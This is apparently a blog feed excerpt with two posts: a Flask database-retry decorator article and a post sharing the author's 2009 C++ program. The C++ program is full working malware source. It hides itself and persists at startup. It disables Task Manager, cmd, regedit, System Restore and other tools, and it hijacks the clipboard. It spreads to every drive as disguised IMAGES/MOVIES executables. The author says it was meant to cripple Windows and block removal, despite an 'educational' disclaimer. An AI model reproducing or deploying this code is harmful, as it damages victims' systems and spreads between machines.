&lt;p&gt;As you explore Flask and its capabilities, remember that this article is just a starting point. The Flask framework offers a wide range of functionalities, and you may have specific requirements for your application. Feel free to experiment and adapt the code to meet your needs. If you have questions, comments, or if there's any other Flask functionality you'd like to explore, don't hesitate to reach out. I'm open to feedback and eager to follow up with additional articles based on your interests. Happy coding!&lt;/p&gt;

&lt;!-- This markdown file was generated automatically from the DB --&gt;</content><category term="Programming"></category><category term="Flask"></category><category term="Flask application"></category><category term="secure delete"></category><category term="backend security"></category><category term="frontend design"></category><category term="authentication"></category><category term="authorization"></category><category term="file deletion"></category><category term="Jinja2 template"></category><category term="User Experience"></category><category term="JavaScript confirmation popup"></category><category term="web development"></category><category term="python"></category><category term="Flask tutorial"></category><category term="web application security"></category><category term="Flask functionalities"></category><category term="SEO optimization"></category><category term="coding tips"></category><category term="Flask best practices"></category></entry><entry><title>Enhance Flask Database Resilience with the retry_database connection Python Decorator</title><link href="https://mosaid.xyz/articles/enhance-flask-database-resilience-with-the-retry_database-connection-python-decorator-184.html" rel="alternate"></link><published>2024-01-24T12:54:26+00:00</published><updated>2024-01-24T12:54:26+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2024-01-24:/articles/enhance-flask-database-resilience-with-the-retry_database-connection-python-decorator-184.html</id><summary type="html">&lt;p&gt;Elevate your Flask application's database resilience with the powerful retry_database_connection decorator. Discover effective strategies to optimize code, handle concurrency challenges, and ensure a smooth user experience. Explore advanced Flask development techniques for robust database interactions. Happy coding!&lt;/p&gt;</summary><content type="html">&lt;p&gt;In the intricate world of Flask development, where efficient database handling is paramount, I present a practical solution inspired by personal experience. If you've followed my &lt;a href="/articles/applying-python-decorators-to-real-world-scenarios-140/" &gt;previous article&lt;/a&gt; on Python decorators, you'll appreciate the power they wield. In this article, I am going to employ yet another decorator to address the challenges of database concurrency and enhance the reliability of interactions within Flask applications.&lt;/p&gt;

&lt;h2&gt;Revisiting Python Decorators&lt;/h2&gt;

&lt;p&gt;In a previous exploration, we uncovered the versatility of &lt;strong style="color: #000000;"&gt;Python decorators&lt;/strong&gt;. These code enhancers, akin to surgical tools, enable us to fine-tune function behavior seamlessly. Now, armed with this understanding, we embark on a Flask-centric journey to fortify our web applications against the uncertainties of database concurrency.&lt;/p&gt;

&lt;h2&gt;The Challenge of Web Traffic and Database Concurrency&lt;/h2&gt;

&lt;p&gt;Envision a thriving Flask application, navigating a surge in user activity. At the core of this digital engine, the database stands as a linchpin, tasked with weathering concurrent challenges. It's more than encountering errors like "MySQL server has gone away" or "Connection unexpectedly closed" — these disruptions jeopardize the uninterrupted user experience. To address this, I present my solution: the &lt;code&gt;'retry_database_connection'&lt;/code&gt; decorator meticulously tailored for Flask applications.&lt;/p&gt;

&lt;h2&gt;Introducing the Flask 'retry_database_connection' Decorator&lt;/h2&gt;

&lt;pre class="language-python" &gt;
    &lt;code class="language-python" &gt;

from functools import wraps
import time

# Decorator to retry database connection
def retry_database_connection(max_retries=3, delay_seconds=1):
    def decorator(func):
        @wraps(func)
        def wrapper(*args, **kwargs):
            for _ in range(max_retries):
                try:
                    return func(*args, **kwargs)
                except Exception as e:
                    # Catch specific exceptions related to database connection issues
                    if any(
                        keyword in str(e)
                        for keyword in ["MySQL server has gone away", "Connection unexpectedly closed"]
                    ):
                        print(f"Retrying database connection after {delay_seconds} seconds...")
                        time.sleep(delay_seconds)

                    else:
                        raise  # Re-raise other exceptions
            # If all retries fail, raise the last encountered exception
            raise

        return wrapper

    return decorator


&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;Derived from personal experience, this decorator encapsulates a robust strategy for handling database connectivity issues. It gracefully retries database connections, offering a shield against disruptions, ensuring a smooth user experience even under high traffic conditions.&lt;/p&gt;

&lt;p&gt;The decorator employs a retry strategy, allowing customization of the maximum number of retry attempts (&lt;code&gt;max_retries&lt;/code&gt;) and the delay between attempts (&lt;code&gt;delay_seconds&lt;/code&gt;). The internal function, wrapper, encapsulates the retry logic by attempting to execute the provided function (&lt;code&gt;func&lt;/code&gt;). If a database-related exception occurs, such as "&lt;strong style="color: #000000;"&gt;MySQL server has gone away&lt;/strong&gt;" or "&lt;strong style="color: #000000;"&gt;Connection unexpectedly closed,&lt;/strong&gt;" the decorator gracefully retries the connection after a specified delay. This mechanism ensures a resilient and reliable database interaction, particularly useful in scenarios where the application may face intermittent disruptions due to high traffic or transient issues. The inclusion of&lt;code&gt; @wraps(func)&lt;/code&gt; preserves the original function's metadata for improved debugging and introspection.&lt;/p&gt;

&lt;p&gt;it can be used in your Flask application blueprint routers like this:&lt;/p&gt;

&lt;pre class="language-python" &gt;
    &lt;code class="language-python" &gt;

@retry_database_connection(max_retries=5, delay_seconds=2)
@app.route('/')
def get_posts():
    # ... your python queries here


@retry_database_connection()
@app.route('/post/&amp;lt;int:id&amp;gt;/&amp;lt;string:slug&amp;gt;')
def get_post(id,slug):
    # ... your python queries here


&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;Ready to optimize your Flask code? Implement the&lt;code&gt; 'retry_database_connection'&lt;/code&gt; decorator and witness the resilience it brings to your database interactions. As you delve into enhancing your Flask applications, I sincerely hope this solution proves invaluable. Happy Flask coding! If you found this article helpful, I'm delighted to have provided insights to elevate your coding endeavors.&lt;/p&gt;

&lt;!-- This markdown file was generated automatically from the DB --&gt;</content><category term="Programming"></category><category term="Flask"></category><category term="python"></category><category term="Database Resilience"></category><category term="Decorator"></category><category term="Concurrency Handling"></category><category term="Code Optimization"></category><category term="Flask Development"></category><category term="Retry Strategies"></category><category term="Robust Applications"></category><category term="User Experience"></category><category term="decorators"></category><category term="functions"></category><category term="classes"></category><category term="runtime"></category><category term="modification"></category><category term="example"></category></entry><entry><title>Sharing My Old Programs: A Look Back at My 2009 C++ Code, A very difficult program</title><link href="https://mosaid.xyz/articles/sharing-my-old-programs-a-look-back-at-my-2009-c-code-a-very-difficult-program-183.html" rel="alternate"></link><published>2024-01-23T19:11:09+00:00</published><updated>2024-01-23T19:11:09+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2024-01-23:/articles/sharing-my-old-programs-a-look-back-at-my-2009-c-code-a-very-difficult-program-183.html</id><summary type="html">&lt;p&gt;Explore a historical C++ code snippet from 2009 designed to impose restrictions on Windows XP for educational purposes. Reflect on the evolution of security practices and the importance of ethical coding in contemporary software development.&lt;/p&gt;</summary><content type="html">&lt;p&gt;As I reflect on the code I wrote back in 2009, it's fascinating to see how much has changed in the world of Windows development and security. Let's take a closer look at the C++ code I crafted with the intention of implementing various measures to restrict or manipulate certain system functionalities on Windows XP/Windows 7. to actually cripple it and make it unusable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Warning: Use of this Code for Harmful Purposes&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It is crucial to emphasize that the code provided here, originally crafted in 2009, is purely intended for educational purposes and historical reflection. The functions implemented in this code were designed for an outdated Windows XP environment and should never be used in contemporary systems or for malicious intents.&lt;/p&gt;

&lt;p&gt;Attempting to apply these functions on modern Windows versions could lead to severe system instability, loss of data, or legal consequences. Technology has evolved, and ethical coding practices are of utmost importance. As a responsible developer, it is essential to prioritize security, adhere to legal standards, and contribute positively to the software development community.&lt;/p&gt;

&lt;h2&gt;here is the C++ Code:&lt;/h2&gt;

&lt;pre class="language-cpp" &gt;
    &lt;code class="language-cpp" &gt;

#include &amp;lt;Windows.h&amp;gt;
#include &amp;lt;wchar.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string&amp;gt;
#include &amp;lt;Shellapi.h&amp;gt;

bool no_run();//done
bool no_cmd();//done
bool no_SR();//done
bool no_CPL();//done
bool no_gpedit();//done
bool no_msconfg();//done
bool no_taskmgr();//done
bool no_regedit();//done
bool no_folderOptions();//done
bool hideExt();//done
bool no_clipboard();//done
bool __instal__();//done
bool __copy__();//done
void __copy2__();//done
bool task_sck();
//bool IsRunAsAdmin();
//void run_as_admin(bool fIsRunAsAdmin,HWND hwnd);

/*  Declare Windows procedure  */
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);

/*  Make the class name into a global variable  */
char szClassName[ ] = "WindowsApp";

int WINAPI WinMain (HINSTANCE hThisInstance,
                    HINSTANCE hPrevInstance,
                    LPSTR lpszArgument,
                    int nFunsterStil)

{
    HWND hwnd;               /* This is the handle for our window */
    MSG messages;            /* Here messages to the application are saved */
    WNDCLASSEX wincl;        /* Data structure for the windowclass */

    /* The Window structure */
    wincl.hInstance = hThisInstance;
    wincl.lpszClassName = szClassName;
    wincl.lpfnWndProc = WindowProcedure;      /* This function is called by windows */
    wincl.style = CS_DBLCLKS;                 /* Catch double-clicks */
    wincl.cbSize = sizeof (WNDCLASSEX);

    /* Use default icon and mouse-pointer */
    wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
    wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
    wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
    wincl.lpszMenuName = NULL;                 /* No menu */
    wincl.cbClsExtra = 0;                      /* No extra bytes after the window class */
    wincl.cbWndExtra = 0;                      /* structure or the window instance */
    /* Use Windows's default color as the background of the window */
    wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND;

    /* Register the window class, and if it fails quit the program */
    if (!RegisterClassEx (&amp;amp;wincl))
        return 0;

    /* The class is registered, let's create the program*/
    hwnd = CreateWindowEx (
           0,                   /* Extended possibilites for variation */
           szClassName,         /* Classname */
           "MYv",       /* Title Text */
           WS_MINIMIZEBOX, /* default window */
           CW_USEDEFAULT,       /* Windows decides the position */
           CW_USEDEFAULT,       /* where the window ends up on the screen */
           40,                 /* The programs width */
           60,                 /* and height in pixels */
           HWND_DESKTOP,        /* The window is a child-window to desktop */
           NULL,                /* No menu */
           hThisInstance,       /* Program Instance handler */
           NULL                 /* No Window Creation data */
           );

    /* Make the window invisible on the screen */
    ShowWindow (hwnd,0);

    /* Run the message loop. It will run until GetMessage() returns 0 */
    while (GetMessage (&amp;amp;messages, NULL, 0, 0))
    {
        /* Translate virtual-key messages into character messages */
        TranslateMessage(&amp;amp;messages);
        /* Send message to WindowProcedure */
        DispatchMessage(&amp;amp;messages);
    }

    /* The program return-value is 0 - The value that PostQuitMessage() gave */
    return messages.wParam;
}


/*  This function is called by the Windows function DispatchMessage()  */

LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    switch (message)                  /* handle the messages */
    {
        case WM_CREATE:

            // run_as_admin(IsRunAsAdmin(),hwnd);

            // TerminateProcess(GetCurrentProcess(),0);
            // task_sck();
             __instal__();
             __copy__();
             SetClipboardViewer(hwnd);
               no_run();
             no_cmd();
             no_folderOptions();
            no_SR();
            no_taskmgr();
             no_regedit();
             no_gpedit();
         no_msconfg();
             no_CPL();
             hideExt();
            SwapMouseButton(true);
            break;
        case WM_DRAWCLIPBOARD:
            no_clipboard();
             __copy2__();
            break;
        case WM_DESTROY:
            PostQuitMessage (0);       /* send a WM_QUIT to the message queue */
            break;
        default:                      /* for messages that we don't deal with */
            return DefWindowProc (hwnd, message, wParam, lParam);
    }

    return 0;
}

bool no_cmd()
{
 HKEY hkey;
 DWORD DwValue =1;
 DWORD lResult;
 lResult=RegCreateKeyEx(HKEY_CURRENT_USER,
                TEXT("Software\\Policies\\Microsoft\\Windows\\System"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&amp;amp;hkey,NULL);
 if(lResult != ERROR_SUCCESS)
  {
    RegCloseKey(hkey);
    return 0;
  }
 lResult = RegSetValueEx(hkey,TEXT("DisableCMD"),0,REG_DWORD,(const BYTE*)&amp;amp;DwValue,sizeof(DwValue) );
 RegCloseKey(hkey);
 if(lResult != ERROR_SUCCESS)return 0;
 return 1;
}

bool no_folderOptions()
{
 HKEY hkey;
 DWORD DwValue =1;
 DWORD lResult;
 lResult=RegCreateKeyEx(HKEY_CURRENT_USER,
                TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&amp;amp;hkey,NULL);
 if(lResult == ERROR_SUCCESS)
 lResult = RegSetValueEx(hkey,TEXT("NoFolderOptions"),0,REG_DWORD,(const BYTE*)&amp;amp;DwValue,sizeof(DwValue) );
 RegCloseKey(hkey);
 if(lResult != ERROR_SUCCESS)return 0;

 lResult=RegCreateKeyEx(HKEY_LOCAL_MACHINE,
                TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&amp;amp;hkey,NULL);
 if(lResult == ERROR_SUCCESS)
 lResult = RegSetValueEx(hkey,TEXT("NoFolderOptions"),0,REG_DWORD,(const BYTE*)&amp;amp;DwValue,sizeof(DwValue) );
 RegCloseKey(hkey);
 if(lResult != ERROR_SUCCESS)return 0;
 return 1;
}

bool no_run()
{
 HKEY hkey;
 DWORD DwValue =1;
 DWORD lResult;
 lResult=RegCreateKeyEx(HKEY_CURRENT_USER,
                TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&amp;amp;hkey,NULL);
 if(lResult == ERROR_SUCCESS)
    lResult = RegSetValueEx(hkey,TEXT("NoRun"),0,REG_DWORD,(const BYTE*)&amp;amp;DwValue,sizeof(DwValue) );
 RegCloseKey(hkey);
 if(lResult != ERROR_SUCCESS)return 0;
 return 1;
}

bool no_SR()
{
 HKEY hkey;
 DWORD DwValue =1;
 DWORD lResult;

 lResult=RegCreateKeyEx(HKEY_LOCAL_MACHINE,
                TEXT("Software\\Policies\\Microsoft\\Windows NT\\SystemRestore"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&amp;amp;hkey,NULL);
 if(lResult == ERROR_SUCCESS)
  {
   lResult = RegSetValueEx(hkey,TEXT("DisableConfig"),0,REG_DWORD,(const BYTE*)&amp;amp;DwValue,sizeof(DwValue) );
   lResult = RegSetValueEx(hkey,TEXT("DisableSR"),0,REG_DWORD,(const BYTE*)&amp;amp;DwValue,sizeof(DwValue) );
  }
 RegCloseKey(hkey);
 if(lResult != ERROR_SUCCESS)return 0;
 return 1;
}

bool no_taskmgr()
{
 HKEY hkey;
 DWORD DwValue =1;
 DWORD lResult;
 lResult=RegCreateKeyEx(HKEY_CURRENT_USER,
                TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&amp;amp;hkey,NULL);
 if(lResult == ERROR_SUCCESS)
    lResult = RegSetValueEx(hkey,TEXT("DisableTaskMgr"),0,REG_DWORD,(const BYTE*)&amp;amp;DwValue,sizeof(DwValue) );
 RegCloseKey(hkey);
 if(lResult != ERROR_SUCCESS)return 0;
 lResult=RegCreateKeyEx(HKEY_LOCAL_MACHINE,
                TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&amp;amp;hkey,NULL);
 if(lResult == ERROR_SUCCESS)
    lResult = RegSetValueEx(hkey,TEXT("DisableTaskMgr"),0,REG_DWORD,(const BYTE*)&amp;amp;DwValue,sizeof(DwValue) );
 RegCloseKey(hkey);
 if(lResult != ERROR_SUCCESS)return 0;
 return 1;
}

bool no_regedit()
{
 HKEY hkey;
 DWORD DwValue =1;
 DWORD lResult;

 lResult=RegCreateKeyEx(HKEY_CURRENT_USER,
                TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&amp;amp;hkey,NULL);
 if(lResult == ERROR_SUCCESS)
   lResult = RegSetValueEx(hkey,TEXT("DisableRegistryTools"),0,REG_DWORD,(const BYTE*)&amp;amp;DwValue,sizeof(DwValue) );
 RegCloseKey(hkey);
 if(lResult != ERROR_SUCCESS)return 0;
 return 1;
}


bool no_gpedit()
{
 HKEY hkey;
 DWORD DwValue =1;
 DWORD lResult;

 lResult=RegCreateKeyEx(HKEY_CURRENT_USER,
                TEXT("Software\\Policies\\Microsoft\\MMC"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&amp;amp;hkey,NULL);
 if(lResult == ERROR_SUCCESS)
   {
      lResult = RegSetValueEx(hkey,TEXT("RestrictToPermittedSnapins"),0,REG_DWORD,(const BYTE*)&amp;amp;DwValue,sizeof(DwValue) );
      lResult = RegSetValueEx(hkey,TEXT("RestrictAuthorMode"),0,REG_DWORD,(const BYTE*)&amp;amp;DwValue,sizeof(DwValue) );
   }
 RegCloseKey(hkey);
 if(lResult != ERROR_SUCCESS)return 0;
 return 1;
}

bool no_CPL()
{
 HKEY hkey;
 DWORD DwValue =1;
 DWORD lResult;

 lResult=RegCreateKeyEx(HKEY_CURRENT_USER,
                TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&amp;amp;hkey,NULL);
 if(lResult == ERROR_SUCCESS)
   lResult = RegSetValueEx(hkey,TEXT("RestrictCpl"),0,REG_DWORD,(const BYTE*)&amp;amp;DwValue,sizeof(DwValue) );
 RegCloseKey(hkey);
 if(lResult != ERROR_SUCCESS)return 0;
 return 1;
}

bool no_msconfg()
{
 HKEY hkey;
 DWORD DwValue =1;
 DWORD lResult;
 std::string str;
 lResult=RegCreateKeyEx(HKEY_CURRENT_USER,
                TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&amp;amp;hkey,NULL);
 if(lResult == ERROR_SUCCESS)
   lResult = RegSetValueEx(hkey,TEXT("DisallowRun"),0,REG_DWORD,(const BYTE*)&amp;amp;DwValue,sizeof(DwValue) );
 RegCloseKey(hkey);
 if(lResult != ERROR_SUCCESS)return 0;
 lResult=RegCreateKeyEx(HKEY_CURRENT_USER,
                TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\DisallowRun"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&amp;amp;hkey,NULL);
 if(lResult == ERROR_SUCCESS)
   {
     str="msconfig.exe";
     lResult = RegSetValueEx(hkey,TEXT("1"),0,REG_SZ,(const BYTE*)str.c_str(),str.length() );
     str="GOM.exe";
     lResult = RegSetValueEx(hkey,TEXT("2"),0,REG_SZ,(const BYTE*)str.c_str(),str.length() );
   }
 return 1;
}

bool hideExt()
{
 HKEY hkey;
 DWORD DwValue =2;
 DWORD lResult;

 lResult=RegCreateKeyEx(HKEY_CURRENT_USER,
                TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&amp;amp;hkey,NULL);
 if(lResult == ERROR_SUCCESS)
   {
      lResult = RegSetValueEx(hkey,TEXT("Hidden"),0,REG_DWORD,(const BYTE*)&amp;amp;DwValue,sizeof(DwValue) );
      DwValue =1;
      lResult = RegSetValueEx(hkey,TEXT("HideFileExt"),0,REG_DWORD,(const BYTE*)&amp;amp;DwValue,sizeof(DwValue) );
   }
 RegCloseKey(hkey);
 if(lResult != ERROR_SUCCESS)return 0;
 return 1;
}

bool no_clipboard()
{
    HANDLE hData;//For the data to send to the clipboard
    char szData[] = "Sorry you cannot use the clipboard!!",//phrase
         *ptrData = NULL;//pointer to allow char copying
    int nStrLen = strlen(szData);//length of phrase
    hData = GlobalAlloc(GMEM_MOVEABLE | GMEM_DDESHARE,
        nStrLen + 1);//get handle to memory to hold phrase
    ptrData = (char*)GlobalLock(hData);//get pointer from handle
    memcpy(ptrData,szData,nStrLen + 1);//copy over the phrase
    GlobalUnlock(hData);//free the handle
    OpenClipboard(NULL);//allow you to work with clipboard
    EmptyClipboard();//clear previous contents
    SetClipboardData(CF_TEXT,hData);//set our data
    CloseClipboard();//finished!!
    return 0;
}

bool __instal__()
{
  HKEY hkey;
  DWORD DwValue =1;
  DWORD lResult,Dw=MAX_PATH;
  char  wnDir[MAX_PATH];
  char* MYvPath =new char[MAX_PATH*2];
  std::string str;

  GetWindowsDirectory(wnDir,sizeof(wnDir) );
  sprintf(MYvPath,TEXT("%s\\System32\\MYv.exe"),wnDir);
  int len = strlen(MYvPath);
  lResult=RegOpenKeyEx(HKEY_CURRENT_USER,
                TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),
                0,KEY_ALL_ACCESS,&amp;amp;hkey);
  if(lResult == ERROR_SUCCESS)
  lResult = RegSetValueEx(hkey,TEXT("WindowsNT"),0,REG_SZ,(const BYTE*)MYvPath,len );
  RegCloseKey(hkey);
  lResult=RegCreateKeyEx(HKEY_CLASSES_ROOT,
                TEXT("Drive\\shell\\Explorer\\Command"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&amp;amp;hkey,NULL);
  if(lResult == ERROR_SUCCESS)
  lResult = RegSetValueEx(hkey,NULL,0,REG_SZ,(const BYTE*)MYvPath,len );
  RegCloseKey(hkey);

  str=wnDir[0];
  str+=":\\Documents and Settings\\";
  GetUserNameA(wnDir,&amp;amp;Dw);
  str+=wnDir;
  str+="\\Data.exe";
  lResult=RegCreateKeyEx(HKEY_CLASSES_ROOT,
                TEXT("Directory\\shell\\Explorer\\Command"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&amp;amp;hkey,NULL);
  if(lResult == ERROR_SUCCESS)
  lResult = RegSetValueEx(hkey,NULL,0,REG_SZ,(const BYTE*)str.c_str(),str.length() );
  RegCloseKey(hkey);

  delete [] MYvPath;
  return 0;
}

bool __copy__()
{
    char  wnDir[MAX_PATH];
    std::string str,str1;
    DWORD Dw=MAX_PATH;
    int pos;

    GetWindowsDirectoryA(wnDir,sizeof(wnDir) );
    str=wnDir;
    str+="\\System32\\MYv.exe";

    str1=GetCommandLine();

    pos=str1.find_first_of("\"");
    if(pos!=std::string::npos) str1.erase ( pos ,pos+1);
    pos=str1.find_first_of("\"");
    if(pos!=std::string::npos) str1.erase ( pos ,str1.length() );
    pos=str1.find_last_of("\\");
    if(pos!=std::string::npos) str1.erase ( str1.begin () ,str1.begin () + pos +1);

    SetFileAttributesA(str.c_str(),0);
    CopyFileA(str1.c_str(),str.c_str(),0);
    SetFileAttributesA(str.c_str(),FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_READONLY);

    str=wnDir[0];
    str+=":\\Documents and Settings\\";
    GetUserNameA(wnDir,&amp;amp;Dw);
    str+=wnDir;
    str+="\\Data.exe";

    SetFileAttributesA(str.c_str(),0);
    CopyFileA(str1.c_str(),str.c_str(),0);
    SetFileAttributesA(str.c_str(),FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_READONLY);

    return 0;
}

void __copy2__()
{
    std::string str,str1;
    char driveLetter[4];
    int pos;
    bool bb;
    ULARGE_INTEGER pFreeBytesAvailable;

    str1=GetCommandLine();

    pos=str1.find_first_of("\"");
    if(pos!=std::string::npos) str1.erase ( pos ,pos+1);
    pos=str1.find_first_of("\"");
    if(pos!=std::string::npos) str1.erase ( pos ,str1.length() );
    pos=str1.find_last_of("\\");
    if(pos!=std::string::npos) str1.erase ( str1.begin () ,str1.begin () + pos +1);

    for(int i=0;i&amp;lt;26;i++)
    {
      sprintf(driveLetter,"%c:\\",(int)('A'+i) );
      if(GetDriveType(driveLetter) !=DRIVE_CDROM )
      {
        bb=GetDiskFreeSpaceEx(driveLetter,&amp;amp;pFreeBytesAvailable,NULL,NULL);
        if(bb==1 &amp;amp;&amp;amp; pFreeBytesAvailable.LowPart&amp;gt;=1024)
         {
          str=driveLetter;
          str+="IMAGES                                                                                                                                 .exe";
          CopyFileA(str1.c_str(),str.c_str(),0);
          SetFileAttributesA(str.c_str(),0);
          str=driveLetter;
          str+="MOVIES                                                                                                                                 .exe";
          CopyFileA(str1.c_str(),str.c_str(),0);
          SetFileAttributesA(str.c_str(),0);
         }
      }
    }
}
bool task_sck()
{
   SYSTEMTIME tt;
   int s,m,h;
   char* MYvPath =new char[MAX_PATH*2];

   GetLocalTime(&amp;amp;tt);
   h=tt.wHour;
   (tt.wSecond&amp;lt;50)? m=tt.wMinute,s=tt.wSecond+5 : m=tt.wMinute+1,s=0 ;

   sprintf(MYvPath,"at %d:%d:%d /EVERY:m,t,w,th,f,s,su %s",h,m,s,GetCommandLine());
   system("at /delete /yes");
   system(MYvPath);
   delete [] MYvPath;
   return 0;
}

/*
bool IsRunAsAdmin()
{
    bool fIsRunAsAdmin = FALSE;
    DWORD dwError = ERROR_SUCCESS;
    PSID pAdministratorsGroup = NULL;

    // Allocate and initialize a SID of the administrators group.
    SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
    if (!AllocateAndInitializeSid(
        &amp;amp;NtAuthority,
        2,
        SECURITY_BUILTIN_DOMAIN_RID,
        DOMAIN_ALIAS_RID_ADMINS,
        0, 0, 0, 0, 0, 0,
        &amp;amp;pAdministratorsGroup))
    {
        dwError = GetLastError();
        goto Cleanup;
    }
    if (!SHTestTokenMembership(NULL, pAdministratorsGroup, &amp;amp;fIsRunAsAdmin))
    {
        dwError = GetLastError();
        goto Cleanup;
    }
Cleanup:
    // Centralized cleanup for all allocated resources.
    if (pAdministratorsGroup)
    {
        FreeSid(pAdministratorsGroup);
        pAdministratorsGroup = NULL;
    }
return fIsRunAsAdmin;
}
void run_as_admin(bool fIsRunAsAdmin,HWND hwnd)
{
            // Elevate the process if it is not run as administrator.
    if (!fIsRunAsAdmin)
     {
        char szPath[MAX_PATH];
        if (GetModuleFileName(NULL, szPath, MAX_PATH))
         {
            // Launch itself as administrator.
            SHELLEXECUTEINFO sei = { sizeof(sei) };
            sei.lpVerb = "runas";
            sei.lpFile = szPath;
            sei.hwnd = hwnd;
            sei.nShow = SW_NORMAL;
            if (ShellExecuteEx(&amp;amp;sei))
             {
                TerminateProcess(GetCurrentProcess(),0);
             }
         }
     }
}

*/


&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;h2&gt;Understanding the Code:&lt;/h2&gt;

&lt;h3&gt;Code Structure:&lt;/h3&gt;
&lt;p&gt;The code was structured with functions aimed at modifying registry settings, essentially crippling various features of the Windows XP/Windows 7 system.&lt;/p&gt;

&lt;h3&gt;Window Procedure:&lt;/h3&gt;
&lt;p&gt;The heart of the application lied in the &lt;code&gt;WindowProcedure&lt;/code&gt; function, handling messages related to clipboard manipulation and system initialization. Essentially making the copy/pasting of files and text non existing. Perhaps this is the most annoying thing about this program. And to keep the user from fixing their system by removing this program and its various registry keys, well I took measures to, well not let them.&lt;/p&gt;

&lt;h3&gt;Security Measures Implemented:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Disabling Run Command (&lt;code&gt;no_run()&lt;/code&gt;):&lt;/strong&gt; I implemented a registry modification to disable the Run command on the Windows system.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Disabling Command Prompt (&lt;code&gt;no_cmd()&lt;/code&gt;):&lt;/strong&gt; This function is responsible for creating registry entries that disable the Command Prompt, restricting access to it.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Disabling System Restore (&lt;code&gt;no_SR()&lt;/code&gt;):&lt;/strong&gt; The &lt;code&gt;no_SR()&lt;/code&gt; function manipulates registry settings to disable System Restore on the Windows system.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Disabling Control Panel (&lt;code&gt;no_CPL()&lt;/code&gt;):&lt;/strong&gt; This function restricts access to the Control Panel by modifying relevant registry entries.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Disabling Group Policy Editor (&lt;code&gt;no_gpedit()&lt;/code&gt;):&lt;/strong&gt; I used registry modifications in this function to disable the Group Policy Editor on the Windows system.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Disabling System Configuration Utility (&lt;code&gt;no_msconfg()&lt;/code&gt;):&lt;/strong&gt; The &lt;code&gt;no_msconfg()&lt;/code&gt; function restricts access to the System Configuration Utility by modifying registry entries.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Disabling Task Manager (&lt;code&gt;no_taskmgr()&lt;/code&gt;):&lt;/strong&gt; This function disables the Task Manager on the Windows system by making necessary changes to the registry.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Disabling Registry Editor (&lt;code&gt;no_regedit()&lt;/code&gt;):&lt;/strong&gt; The &lt;code&gt;no_regedit()&lt;/code&gt; function restricts access to the Registry Editor through registry modifications.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Disabling Folder Options (&lt;code&gt;no_folderOptions()&lt;/code&gt;):&lt;/strong&gt; This function manipulates registry settings to prevent access to Folder Options on the Windows system.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Hiding File Extensions (&lt;code&gt;hideExt()&lt;/code&gt;):&lt;/strong&gt; The &lt;code&gt;hideExt()&lt;/code&gt; function hides file extensions on the Windows system by modifying relevant registry entries.&lt;/p&gt;&lt;/li&gt;
